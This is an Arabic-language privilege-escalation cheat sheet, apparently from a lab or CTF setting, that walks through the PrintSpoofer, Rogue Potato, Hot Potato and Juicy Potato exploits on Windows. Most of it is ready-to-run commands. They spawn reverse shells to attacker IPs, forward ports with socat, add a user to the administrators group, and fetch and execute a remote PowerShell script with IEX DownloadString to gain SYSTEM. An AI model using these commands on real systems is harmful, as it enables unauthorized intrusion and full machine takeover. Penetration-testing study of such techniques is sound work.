Token Impersonation

PrintSpoofer

هو عبارة عن exploit يستخدم لرفع الصلاحيات على ال Windows من المتطلبات عشان يشتغل هذا ال exploit هو يكون عندك صلاحية SeImpersonate نقدر نتاكد اذا عندنا:

whoami /priv

نقدر نستخدم PSExec64.exe ونخليه يشغل ال reverse shell رح ترجع لنا شيل بصلاحيات local service:

PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

نقدر الان نشغل PrintSpoofer exploit ورح ترج لنا شيل بصلاحيات SYSTEM:

PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i

Rogue Potato

رح نستخدم socat عشان نسوي port forward ل port 135 الى port 9999:

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.121.223:9999

نستخدم PSExec64.exe ونخليه يشغل ال reverse shell رح ترجع لنا شيل بصلاحيات local service:

PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

شغل listener جديد و من الشيل الجديدة شغل ال exploit وتاكد تعدل على ال ip address و port number:

RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999

Hot Potato

من ال shell الي عندك شغل powershell:

powershell.exe -nop -ep bypass

نسوي بعدين import لموديول Tater.ps1 سيرش بصيط بقوقل وتقدرون تنزلون الفايل:

نقدر نستخم الموديول ونضيف اليوزر الى admin group:

Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"

نقدر نتأكد اذا اشتغل ال exploit:

net localgroup administrators

Juicy Potato

انسخ Invoke-PowerShellTcp.ps1 وعدل عليه بحيث نهاية الفايل تكون فيه ال reverse shell:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 1337

سوي فايل جديد اسمه reverse.bat بداخله التالي:

powershell -c "IEX(New-object Net.WebClient).DownloadString('http://10.10.14.5/shell2.ps1')

ملف shell2.ps1 هو Invoke-PowerShellTcp.ps1 انا عدلت اسم الملف للسهولة. انسخ JuicyPotato.exe و reverse.bat الى المشين وبعدين استخدم JuicyPotato.exe عشان تشغل reverse.bat, تأكد تشغل http.server عن طريق python3:

sudo python3 -m http.server 80

./JuicyPotato.exe -t * -p reverse.bat -l 1337

رح ترجع لك شيل بصلاحيات SYSTEM: